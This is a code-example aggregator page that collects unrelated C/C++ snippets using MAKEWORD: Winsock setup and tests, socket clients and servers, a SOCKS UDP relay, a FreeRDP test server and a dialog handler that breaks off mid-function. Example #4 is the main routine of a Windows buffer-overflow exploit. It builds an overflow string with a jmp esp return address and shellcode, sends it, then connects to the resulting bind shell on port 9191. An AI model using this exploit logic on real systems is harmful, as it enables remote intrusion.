Пример #1
0
int __cdecl main(int argc, char *argv[])
{
    WORD VersionRequested = MAKEWORD(2, 2);
    WSADATA WsaData;

    int nLength;
    int err;
    int InvalidSocketID = -1;
    struct sockaddr_in mySockaddr;
    char data[BUFFERSIZE];

    /*Initialize the PAL environment*/
    err = PAL_Initialize(argc, argv);
    if(0 != err)
    {
        return FAIL;
    }
    /*initialize to use winsock2 .dll*/
    err = WSAStartup(VersionRequested, &WsaData);
    if(err != 0)
    {
        Fail("\nFailed to find a usable WinSock DLL!\n");
    }

    /*Confirm that the WinSock DLL supports 2.2.*/
    if(LOBYTE( WsaData.wVersion ) != 2 ||
            HIBYTE( WsaData.wVersion ) != 2)
    {
        Trace("\nFailed to find a usable WinSock DLL!\n");
        err = WSACleanup();
        if(SOCKET_ERROR == err)
        {
            Trace("\nFailed to call WSACleanup API!\n");
       }
        Fail("");
    }


    nLength = sizeof(struct sockaddr);
    memset(data, 0, BUFFERSIZE);

    /*retrive data with an invalid socket*/ 
    err = recvfrom(InvalidSocketID, data, BUFFERSIZE, 0,
                (struct sockaddr*)&mySockaddr,&nLength);

    if(WSAENOTSOCK != GetLastError() || SOCKET_ERROR != err)
    {
        Trace("\nFailed to call recvfrom API for a negative test "
                "by passing an invalid socket descriptor!\n");

        err = WSACleanup();
        if(SOCKET_ERROR == err)
        {
            Trace("\nFailed to call WSACleanup API!\n");
        }
        Fail("");
    }

    err = WSACleanup();
    if(SOCKET_ERROR == err)
    {
        Fail("\nFailed to call WSACleanup API!\n");
    }

    PAL_Terminate();
    return PASS;
}
Пример #2
0
bool VETCSocket::connectBE()
{
	if (m_serverIP == nullptr || m_serverPort == nullptr)
		return false;

	WSADATA wsaData;

	m_socket = INVALID_SOCKET;
	struct addrinfo *result = NULL, *ptr = NULL, hints;

	int res = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (res != 0)
		return false;

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	res = getaddrinfo(m_serverIP, m_serverPort, &hints, &result);
	if (res != 0)
	{
		WSACleanup();
		return false;
	}

	for (ptr = result; ptr != NULL; ptr = ptr->ai_next)
	{
		m_socket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);

		if (m_socket == INVALID_SOCKET)
		{
			WSACleanup();
			return false;
		}

		res = connect(m_socket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (res == SOCKET_ERROR)
		{
			closesocket(m_socket);
			m_socket = INVALID_SOCKET;
		}
	}

	freeaddrinfo(result);
	if (m_socket == INVALID_SOCKET)
	{
		WSACleanup();
		return false;
	}

	u_long iMode = 1;
	res = ioctlsocket(m_socket, FIONBIO, &iMode);
	if (res == SOCKET_ERROR)
	{
		closesocket(m_socket);
		WSACleanup();
		return false;
	}

	char value = 1;
	setsockopt(m_socket, IPPROTO_TCP, TCP_NODELAY, &value, sizeof(value));
	return true;
}
Пример #3
0
int main(){
  
  double result=0;
  int i=0;
  int error = 0;
  erlang_pid pid;
  char host[HOSTNAMESZ];
  char server_node[HOSTNAMESZ];
  char client_node[HOSTNAMESZ];
  CORBA_Environment *env;
  
  /* Initiate names */
#ifdef __WIN32__
  WORD wVersionRequested;
  WSADATA wsaData;

  wVersionRequested = MAKEWORD(1, 1);
  if ((error = WSAStartup(wVersionRequested, &wsaData))) {
      fprintf(stderr,"Can't initialize windows sockets: %d",error);
      return 0;
  }
#endif
  error = gethostname(host,HOSTNAMESZ);
  if (error) {
#ifdef __WIN32__
      fprintf(stderr,"can't find own hostname (error = %ld) !\n",WSAGetLastError());
#else /* not __WIN32__ */
      fprintf(stderr,"can't find own hostname !\n");
#endif
  }
  sprintf(client_node,"%s@%s",CLNODENAME,host);
  sprintf(server_node,"%s@%s",SNODENAME,host);
    
  /* Create and init CORBA_Environment */
  env = CORBA_Environment_alloc(INBUFSZ,OUTBUFSZ);
  
  /* Initiating the connection */
  erl_init(NULL,0);
  erl_connect_init(50,COOKIE,0);

  /* Initiating pid*/
  strcpy(pid.node,client_node);
  pid.num = 99;
  pid.serial = 0;
  pid.creation = 0;

  /* Fixing environment variable */
  env->_fd=erl_connect(server_node);
  strcpy(env->_regname,SREGNAME);
  env->_to_pid = NULL;
  env->_from_pid = &pid;
  
  if (env->_fd < 0) {
    fprintf(stderr,"Error : Cannot connect to Server\n");

    /* Free env & buffers */
    CORBA_free(env->_inbuf);
    CORBA_free(env->_outbuf);
    CORBA_free(env);
    exit(1);
  }
  
  /* Calling the init function */
  rmod_random_init(NULL, 1, 2, 3, env);
 
  switch(env->_major) {
  case CORBA_NO_EXCEPTION: /* Success */
    printf("Init complete !\n");
    break;
  case CORBA_SYSTEM_EXCEPTION: /* System exception */
    printf("Init call failure, reason : %s\n",(char *) CORBA_exception_value(env));
    CORBA_exception_free(env);
    client_exit(env);
  default: /* Should not come here */
    client_exit(env);
  }

  /* Calling the produce function */
  for(i=1; i<=10; i++) {
    result = rmod_random_produce(NULL, env);

    switch(env->_major) {
    case CORBA_NO_EXCEPTION: /* Success */
      break;
    case CORBA_SYSTEM_EXCEPTION: /* System exception */
      printf("Init call failure, reason : %s\n",(char *) CORBA_exception_value(env));
      CORBA_exception_free(env);
      client_exit(env);
    default: /* Should not come here */
      client_exit(env);
    }

    printf("the random number nr%d is %f\n",i,result);
  }

  /* Closing the connection */
  erl_close_connection(env->_fd);
  
  /* Free env & buffers */
  CORBA_free(env->_inbuf);
  CORBA_free(env->_outbuf);
  CORBA_free(env);

  return 0;
}
Пример #4
0
// ***************************************************************
int main(int argc,char *argv[])
{
	WSADATA wsdata;
	int sock;
	unsigned short port = 9191;
	struct sockaddr_in target;
	unsigned long ip;
	char opt;
	int tgt_type = 0;
	char *tgt_host;

	if (argc<2) { usage(argv[0]); }

	while((opt = getopt(argc,argv,"h:t:v"))!=EOF) {
		switch(opt)
		{
			case 'h':
				tgt_host = optarg;
				snprintf(tgt_net,127, "\\\\%s", optarg);
				snprintf(ipc,127, "\\\\%s\\ipc$", optarg);
				break;
			case 't':
				tgt_type = atoi(optarg);
				if (tgt_type == 0 || tgt_type > sizeof(targets) / 8) {
					showtargets();
				}
				break;
			default:
				usage(argv[0]);
				break;
		}
	}

	printf("\n[+] Prepare exploit string\n");

	memset(expl, 0x00, sizeof(expl));
	memset(expl, 0x41, 2064);
	memcpy(&expl[2044], (unsigned char *) &targets[tgt_type-1].jmpesp, 4);
	//memcpy(&expl[2044], "BBBB", 4);
	memcpy(&expl[2064], shellcode, sizeof(shellcode));		// begin shellcode here

	memset(expl_uni, 0x00, sizeof(expl_uni));
	memset(tgt_net_uni, 0x00, sizeof(tgt_net_uni));
	mbstowcs(tgt_net_uni, tgt_net, sizeof(tgt_net));

	switch(tgt_type) {
		case 1:
		case 3:
			MultiByteToWideChar(CP_ACP, 0, expl, sizeof(expl), (unsigned short *)expl_uni,sizeof(expl_uni));
			// MultiByteToWideChar - 100 % work at XP+SP0+Rollup
			break;
		case 2:
			mbstowcs(expl_uni, expl, sizeof(expl)); // work at XP+SP1
			break;
		default:
			mbstowcs(expl_uni, expl, sizeof(expl));
			break;
	}

	beginthread(send_exp,0,NULL);

	printf("[+] Sleep at 2s ... \n");
	sleep(2000);

	if (WSAStartup(MAKEWORD(2,0),&wsdata)!=0) {
		printf("[x] WSAStartup error...\n");
		WSACleanup();
        return 1;
	}
	printf("[+] Initialize WSAStartup - OK\n");

	if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {

		printf("[x] Socket not initialized! Exiting...\n");
		WSACleanup();
        return 1;
	}
	printf("[*] Socket initialized - OK\n");

	ip=gimmeip(tgt_host);
	memset(&target, 0, sizeof(target));
	target.sin_family=AF_INET;
	target.sin_addr.s_addr = ip;
	target.sin_port=htons(port);

	printf("[+] Try connecting to %s:%d ...\n",tgt_host,port);

	if(connect(sock,(struct sockaddr *)&target, sizeof(target))!=0) {
			printf("\n[x] Exploit failed or is Filtred. Exiting...\n");
			WSACleanup();
			exit(1);
	}

	printf("[*] Connected to shell at %s:%d\n\n",inet_ntoa(target.sin_addr),port);
	cmdshell2(sock);
	closesocket(sock);
	WSACleanup();
	return 0;
}
Пример #5
0
int main(int argc, char *argv[])
{
    static struct sockaddr_in ZERO_SOCKADDR;

    WSADATA w;
    struct sockaddr_in client, server = ZERO_SOCKADDR;
    SOCKADDR *c = (SOCKADDR *)&client;
    int cLen = (int)sizeof(struct sockaddr_in);
    int sd = 0;
    char *dbPath = NULL;
    unsigned short port = 0;
    User *head = NULL;
	char doLogin = FALSE;
	char doShutDown = FALSE;
	time_t currTime;
	int option = 0;
	char ipAddr[MAX_IP_LEN];
	char initialized = FALSE;

    // Test for correct number of arguments
    if (argc != 3)
    {
       usage();
       exit(0);
    }

    dbPath = argv[1];
    port = atoi(argv[2]);

    // Validate port number
    if (!port || port < 256 || port > 65535)
    {
        fprintf(stderr, "Invalid port number.\n");
        usage();
        exit(0);
    }
    
    // Open and parse the database file
    head = readDatabase(dbPath);
    if (!head)
        DieWithError("Error reading database file.\n");

    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 0), &w))
        DieWithError("WSAStartup() failed.");

    // Open a datagram socket
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sd == INVALID_SOCKET)
        DieWithError("Could not create socket.\n");

    // Clear out server struct
    server = ZERO_SOCKADDR;

    // Set family, port, and address
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = htonl(INADDR_ANY);

    // Bind to the local address
    if (bind(sd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
    {
        closesocket(sd);
        DieWithError("bind() failed");
    }

    printf("\nWaiting for connection...\n\n");

    for (;;) // Run forever
    {
		char buffer[BUFFER_SIZE];
		User *clientUser;

		// Shut down the server if the flag is set
		if (doShutDown == TRUE)
			break;

		// Wait for client to send initial packet to confirm connection
		if (!doLogin && recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen) == SOCKET_ERROR)
		{
			fprintf(stderr, "recvfrom() failed.\n");
			continue;
		}

		// Login on initial connection and if flag is set
		if(!strcmp(buffer, "connect") || doLogin)
		{
			// Get IP address if first transmission
			if (!initialized)
			{	
				recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen);
				sscanf(buffer, "%s", &ipAddr);
			}

			// Loop until successful login
			while (!(clientUser = login(sd, c, cLen, head, ipAddr)))
				sendEncrypt(sd, "\nInvalid credentials. Please try again.\n", BUFFER_SIZE, 0, c, cLen);
			initialized = TRUE;
		}

		// Display successful login
		currTime = time(NULL);
        printf("%.24s : %s %s has logged in from %s.\n", ctime(&currTime), clientUser->firstName,
            clientUser->lastName, clientUser->ipAddr);

        sprintf(buffer, "\n\nLogin successful. Welcome, %s %s!\n",
            clientUser->firstName, clientUser->lastName);
        sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

        sprintf(buffer, "User type: %s\n", clientUser->userType == 'C' ? "Customer" : "Manager");
        sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

        if ((long long)clientUser->lastLogin > 0)
		    sprintf(buffer, "Last login: %.24s\n", ctime(&clientUser->lastLogin)); 
	    else
		    sprintf(buffer, "Last login: N/A\n");
	    sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

		sprintf(buffer, "Last IP address: %s\n\n", clientUser->ipAddr);
        sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

        // Set the last login time to the current time
        clientUser->lastLogin = currTime;

        // Initialize login flag
		doLogin = FALSE;

        while (doLogin == FALSE && doShutDown == FALSE)
        {
            // Print menu for correct user type
            switch(clientUser->userType) {

            case 'M': // Manager
                sendEncrypt(sd, "\nRequest Code\t Action\n\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "1\t\t Report balance of a selected customer\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "2\t\t Transfer money between two accounts\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "3\t\t Add a new customer to the system\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "4\t\t See the list of customers and their account information\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "5\t\t Report customer accounts sorted by balance\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "6\t\t See the total balance of all customers\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "7\t\t Shut down the server\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "8\t\t Logout\n", BUFFER_SIZE, 0, c, cLen);
                break;

            case 'C': // Customer
                sendEncrypt(sd, "Request Code\t Action\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "1\t\t Report balance of the customer\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "2\t\t Transfer money to another customer account\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "3\t\t Change password\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "4\t\t Logout\n", BUFFER_SIZE, 0, c, cLen);
                break;

            default:    // Shouldn't reach here since it loops until successful login.
                break;
            }

            sendEncrypt(sd, "\nPlease enter a Request Code: ", BUFFER_SIZE, 0, c, cLen);
            sendDone(sd, c, cLen);

            // Blocking wait for menu option from client
            if(recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen) == (BUFFER_SIZE+1)) { doLogin = TRUE; continue; }

			// Get user input
			if (sscanf(buffer, "%d", &option) != 1)
				option = -1;

            // Perform appropriate action
            if (clientUser->userType == 'M')  // Manager
            {
                switch(option) {
                    case 1: if(seeBalanceSelected(sd, c, cLen, head) == -1){ doLogin = TRUE;} break;
                    case 2: if(transferBetweenAccounts(sd, c, cLen, head) == -1){ doLogin = TRUE;} break;
                    case 3: if(addNewCustomer(sd, c, cLen, &head) == -1){ doLogin = TRUE;} break;
                    case 4: listCustomers(sd, c, cLen, head); break;
                    case 5: sortByBalance(sd, c, cLen, &head); listCustomers(sd, c, cLen, head); break;
                    case 6: totalBalanceOfAll(sd, c, cLen, head); break;
                    case 7: doShutDown = TRUE; break;	// Sets flag to shut down server
                    case 8: doLogin = TRUE; break;		// Sets flag to loop back to login state
                    default: sendEncrypt(sd, "\n\nInvalid input. Please enter a valid option.\n\n", BUFFER_SIZE, 0, c, cLen); break;
                }
            }
            else if (clientUser->userType == 'C') // Customer
            {
                switch(option) {
                    case 1: seeUserBalance(sd, c, cLen, clientUser); break;
                    case 2: if(transferToCustomer(sd, c, cLen, clientUser, head) == -1){ doLogin = TRUE;} break;
                    case 3: if(changePassword(sd, c, cLen, clientUser) == -1){ doLogin = TRUE;} break;
                    case 4: doLogin = TRUE; break; // Sets flag to loop back to login state
                    default: sendEncrypt(sd, "\n\nInvalid input. Please enter a valid option.\n\n", BUFFER_SIZE, 0, c, cLen); break;
                }
            }
            else{}
        }
		// Reached when log out OR shut down flag is set to true
		sendEncrypt(sd, "\n\nLogging out.", BUFFER_SIZE, 0, c, cLen);
		currTime=time(NULL);
		printf("%.24s : %s %s has logged out.\n\n", ctime(&currTime), clientUser->firstName, clientUser->lastName);
		writeDatabase(dbPath, head);

		if (doShutDown == FALSE)
			sendEncrypt(sd, BORDER, BUFFER_SIZE, 0, c, cLen);
    }
    // Reached when shut down flag is set to true
	sendEncrypt(sd, BORDER, BUFFER_SIZE, 0, c, cLen);
	sendEncrypt(sd, "\nThe server has shut down. Client is closing. Thank you.\n\n", BUFFER_SIZE, 0, c, cLen);
	sendEncrypt(sd, "close", BUFFER_SIZE, 0, c, cLen);	// message to close the client
	printf("Server is shutting down by client request.\n\n");
}
Пример #6
0
WORD GetWindowsVersion()
{
    DWORD ver = GetVersion();
    return MAKEWORD(HIBYTE(ver), LOBYTE(ver));
}
Пример #7
0
int main(int argc, char *argv[])
{
    int winX = 0;
    int winY = 0;
    int winWidth = 320;
    int winHeight = 480;
    FBNativeWindowType windowId = NULL;
    int iWindowId  = 0;

    //
    // Parse command line arguments
    //
    for (int i=1; i<argc; i++) {
        if (!strcmp(argv[i], "-windowid")) {
            if (++i >= argc || sscanf(argv[i],"%d", &iWindowId) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-x", 2)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winX) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-y", 2)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winY) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-width", 6)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winWidth) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-height", 7)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winHeight) != 1) {
                printUsage(argv[0]);
            }
        }
    }

    windowId = (FBNativeWindowType)iWindowId;
    if (!windowId) {
        // window id must be provided
        printUsage(argv[0]);
    }

#if 0 //Enable to attach gdb to renderer on startup
    fprintf(stderr, "renderer pid %d , press any key to continue...\n", getpid());
    getchar();
#else
    fprintf(stderr, "renderer pid %d \n", getpid());
#endif

#ifdef _WIN32
    WSADATA  wsaData;
    int      rc = WSAStartup( MAKEWORD(2,2), &wsaData);
    if (rc != 0) {
            printf( "could not initialize Winsock\n" );
    }
#endif

#ifdef __linux__
    // some OpenGL implementations may call X functions
    // it is safer to synchronize all X calls made by all the
    // rendering threads. (although the calls we do are locked
    // in the FrameBuffer singleton object).
    XInitThreads();
#endif

    //
    // initialize Framebuffer
    //
    bool inited = FrameBuffer::initialize(winWidth, winHeight);
    if (!inited) {
        fprintf(stderr,"Failed to initialize Framebuffer\n");
        return -1;
    }

    inited = FrameBuffer::setupSubWindow(windowId,
                                         winX, winY, winWidth, winHeight, 0.0);
    if (!inited) {
        fprintf(stderr,"Failed to create subwindow Framebuffer\n");
        return -1;
    }

    //
    // Create and run a render server listening to the given port number
    //
    char addr[256];
    RenderServer *server = RenderServer::create(addr, sizeof(addr));
    if (!server) {
        fprintf(stderr,"Cannot initialize render server\n");
        return -1;
    }
    printf("render server listening at '%s'\n", addr);

#ifndef _WIN32
    //
    // run the server listener loop
    //
    server->Main();
#else
    //
    // on windows we need to handle messages for the
    // created subwindow. So we run the server on a seperate
    // thread and running the windows message pump loop
    // in this main thread.
    //
    server->start();

    //
    // Dispatch events for the subwindow
    // During termination of the render server, the FrameBuffer
    // will be finalized, the Framebuffer subwindow will
    // get destroyed and the following loop will exit.
    //
    MSG msg;
    HWND hWnd = FrameBuffer::getFB()->getSubWindow();
    while( GetMessage(&msg, hWnd, 0, 0) > 0 ) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
#endif

    return 0;
}
Пример #8
0
int main(int argc, char* argv[])
{
	WSADATA wsaData;
	freerdp_listener* instance;
	char* file;
	char name[MAX_PATH];
	long port = 3389, i;
	BOOL localOnly = FALSE;
	errno = 0;

	for (i = 1; i < argc; i++)
	{
		char* arg = argv[i];

		if (strncmp(arg, "--fast", 7) == 0)
			test_dump_rfx_realtime = FALSE;
		else if (strncmp(arg, "--port=", 7) == 0)
		{
			StrSep(&arg, "=");

			if (!arg)
				return -1;

			port = strtol(arg, NULL, 10);

			if ((port < 1) || (port > 0xFFFF) || (errno != 0))
				return -1;
		}
		else if (strcmp(arg, "--local-only"))
			localOnly = TRUE;
		else if (strncmp(arg, "--", 2))
			test_pcap_file = arg;
	}

	WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi());
	winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT);
	instance = freerdp_listener_new();

	if (!instance)
		return -1;

	instance->PeerAccepted = test_peer_accepted;

	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
	{
		freerdp_listener_free(instance);
		return -1;
	}

	/* Open the server socket and start listening. */
	sprintf_s(name, sizeof(name), "tfreerdp-server.%ld", port);
	file = GetKnownSubPath(KNOWN_PATH_TEMP, name);

	if (!file)
	{
		freerdp_listener_free(instance);
		WSACleanup();
		return -1;
	}

	if ((localOnly || instance->Open(instance, NULL, port)) &&
	    instance->OpenLocal(instance, file))
	{
		/* Entering the server main loop. In a real server the listener can be run in its own thread. */
		test_server_mainloop(instance);
	}

	free(file);
	freerdp_listener_free(instance);
	WSACleanup();
	return 0;
}
Пример #9
0
bool SocksParser::UDPResponse( SERVICE_INFO& svc )
{
	/*
	+----+------+------+----------+----------+----------+
	|RSV | FRAG | ATYP | DST.ADDR | DST.gListenSocket |   DATA   |
	+----+------+------+----------+----------+----------+
	| 2  |  1   |  1   | Variable |    2     | Variable |
	+----+------+------+----------+----------+----------+
	*/
	int i = 0;
	sockaddr_in desireAddr,SourceAddr;

	desireAddr.sin_family = AF_INET;

	socklen_t nSockSize = sizeof(SourceAddr);
	int nStartPos = 0;
	char buffer[1024*4];

	int nCount = recvfrom(svc.usocket,buffer,1024*4,0,(sockaddr*)&SourceAddr,&nSockSize);

	if (nCount == SOCKET_ERROR)
	{
		debugLog(_T("Recvfrom() Error!"));
		return FALSE;
	}

	buffer[nCount] = 0;

	//通过端口判断来源
	if (SourceAddr.sin_port == svc.caddr.sin_port)
	{
		int nAType = buffer[3];
		infoLog(_T("The address type : %d " ),nAType);

		if (nAType == 0x01)
		{
			infoLog(_T("The disire socket : %d.%d.%d.%d"),buffer[4]&0xff,buffer[5]&0xff,buffer[6]&0xff , buffer[7]&0xff);

			desireAddr.sin_addr.s_addr =MAKELONG(MAKEWORD((buffer[4]&0xff),(buffer[5]&0xff)),
				MAKEWORD((buffer[6]&0xff),(buffer[7]&0xff)));;

			infoLog(_T("The disire socket : %d"),(buffer[8]&0xff)*256 + (unsigned char)buffer[9]);
			desireAddr.sin_port  = htons((buffer[8]&0xff)*256 + (unsigned char)buffer[9]);
			nStartPos = 10;
		}
		else if (nAType == 0x03)
		{
			int nDomainNameSize = buffer[4]&0xff;
			char szDomainName[100];

			for (i = 0;i < nDomainNameSize;++i)
				szDomainName[i] = buffer[i+5];

			szDomainName[i] = 0;

			infoLog(_T("The disire doaminname : %s"),szDomainName);

			desireAddr.sin_addr = GetName(szDomainName);

// 			m_csDns.Enter();
// 			{
// 				m_dns[std::string(inet_ntoa(desireAddr.sin_addr))] = std::string(szDomainName);
// 			}
// 			m_csDns.Leave();
			
			i += 5;

			infoLog(_T("the disire socket : %d"),(buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]);

			desireAddr.sin_port = htons((buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]);
			nStartPos = i + 2;
		}
		else if (nAType == 0x04)
		{
			//ipv6 not implement:)
		}
		nCount -= nStartPos;
		sendto(svc.usocket,buffer+nStartPos,nCount,0,(sockaddr*)&desireAddr,sizeof(desireAddr));
	}
	else
	{
		//封装这个消息
		infoLog(_T("GOT MESSAGE FROM : %s :%d"),inet_ntoa(SourceAddr.sin_addr),ntohs(SourceAddr.sin_port));

		char reply[1024*4];
		if (m_dns.find(std::string(inet_ntoa(SourceAddr.sin_addr))) == m_dns.end())
		{
			reply[0] = reply[1] = reply[2] = 0;
			reply[3] = 0x01;
			memcpy(reply+4,(void*)&SourceAddr.sin_addr.s_addr,4);

			reply[8] = ntohs(SourceAddr.sin_port)/256;
			reply[9] = ntohs(SourceAddr.sin_port)%256;
			for (i = 0;i < nCount;++i)
				reply[10+i] = buffer[i];
			sendto(svc.usocket,reply,10+nCount,0,(sockaddr*)&svc.caddr,sizeof(sockaddr));
		}
		else
		{
			reply[0] = reply[1] = reply[2] = 0;
			reply[3] = 0x03;
			std::string strDomainName = m_dns[std::string(inet_ntoa(SourceAddr.sin_addr))];
			infoLog(_T("The domain name : %s"), strDomainName.c_str() );

			reply[4] = strDomainName.size();
			for (UINT i = 0;i < strDomainName.size();++i)
				reply[5+i] = strDomainName[i];

			sendto(svc.usocket,reply,5+strDomainName.size(),0,(sockaddr*)&svc.caddr,sizeof(svc.caddr));
			nCount =	sendto(svc.usocket,buffer,nCount,0,(sockaddr*)&svc.caddr,sizeof(svc.caddr));
			infoLog(_T("actually reply : %d") , nCount);
		}
	}
	return TRUE;
}
Пример #10
0
static BOOL CALLBACK DlgProcHotkeyOpts(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch (msg) {
        case WM_INITDIALOG:
            {
                DBVARIANT dbv;

                TranslateDialogDefault(hwndDlg);

                CheckDlgButton(hwndDlg, IDC_SHOWHIDE, DBGetContactSettingByte(NULL, "CList", "HKEnShowHide", 0) ? BST_CHECKED : BST_UNCHECKED);         
                CheckDlgButton(hwndDlg, IDC_READMSG, DBGetContactSettingByte(NULL, "CList", "HKEnReadMsg", 0) ? BST_CHECKED : BST_UNCHECKED);           
                CheckDlgButton(hwndDlg, IDC_NETSEARCH, DBGetContactSettingByte(NULL, "CList", "HKEnNetSearch", 0) ? BST_CHECKED : BST_UNCHECKED);           
                CheckDlgButton(hwndDlg, IDC_SHOWOPTIONS, DBGetContactSettingByte(NULL, "CList", "HKEnShowOptions", 0) ? BST_CHECKED : BST_UNCHECKED);

                EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWHIDE), IsDlgButtonChecked(hwndDlg, IDC_SHOWHIDE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HKREADMSG), IsDlgButtonChecked(hwndDlg, IDC_READMSG));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HKSEARCH), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHURL), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHNEWWND), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HOTKEYURLSTR), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));                    
                EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWOPTIONS), IsDlgButtonChecked(hwndDlg, IDC_SHOWOPTIONS));

                SendDlgItemMessage(hwndDlg, IDC_HKSHOWHIDE, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKShowHide", MAKEWORD('A', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                SendDlgItemMessage(hwndDlg, IDC_HKREADMSG, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKReadMsg", MAKEWORD('I', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                SendDlgItemMessage(hwndDlg, IDC_HKSEARCH, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKNetSearch", MAKEWORD('S', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                SendDlgItemMessage(hwndDlg, IDC_HKSHOWOPTIONS, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKShowOptions", MAKEWORD('O', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                if (!DBGetContactSetting(NULL, "CList", "SearchUrl", &dbv)) {
                    SetDlgItemTextA(hwndDlg, IDC_SEARCHURL, dbv.pszVal);
                    mir_free(dbv.pszVal);
                } else
                    SetDlgItemTextA(hwndDlg, IDC_SEARCHURL, "http://www.google.com/");
                CheckDlgButton(hwndDlg, IDC_SEARCHNEWWND, DBGetContactSettingByte(NULL, "CList", "HKSearchNewWnd", 0) ? BST_CHECKED : BST_UNCHECKED);
                return TRUE;
            }
        case WM_COMMAND:
            if (LOWORD(wParam) == IDC_SEARCHURL && (HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus()))
                return 0;
            SendMessage(GetParent(hwndDlg), PSM_CHANGED, 0, 0);
            switch (LOWORD(wParam)) {
                case IDC_SHOWHIDE:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWHIDE), IsDlgButtonChecked(hwndDlg, IDC_SHOWHIDE));
                    break;
                case IDC_READMSG:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKREADMSG), IsDlgButtonChecked(hwndDlg, IDC_READMSG));
                    break;
                case IDC_NETSEARCH:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKSEARCH), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                    EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHURL), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                    EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHNEWWND), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));                    
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HOTKEYURLSTR), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));                    
                    break;
                case IDC_SHOWOPTIONS:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWOPTIONS), IsDlgButtonChecked(hwndDlg, IDC_SHOWOPTIONS));
                    break;
            }
            break;
        case WM_NOTIFY:
            switch (((LPNMHDR) lParam)->code) {
                case PSN_APPLY:
                    {
                        char str[256];
                        pcli->pfnHotKeysUnregister((HWND) CallService(MS_CLUI_GETHWND, 0, 0));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnShowHide", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_SHOWHIDE));
                        DBWriteContactSettingWord(NULL, "CList", "HKShowHide", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKSHOWHIDE, HKM_GETHOTKEY, 0, 0));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnReadMsg", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_READMSG));
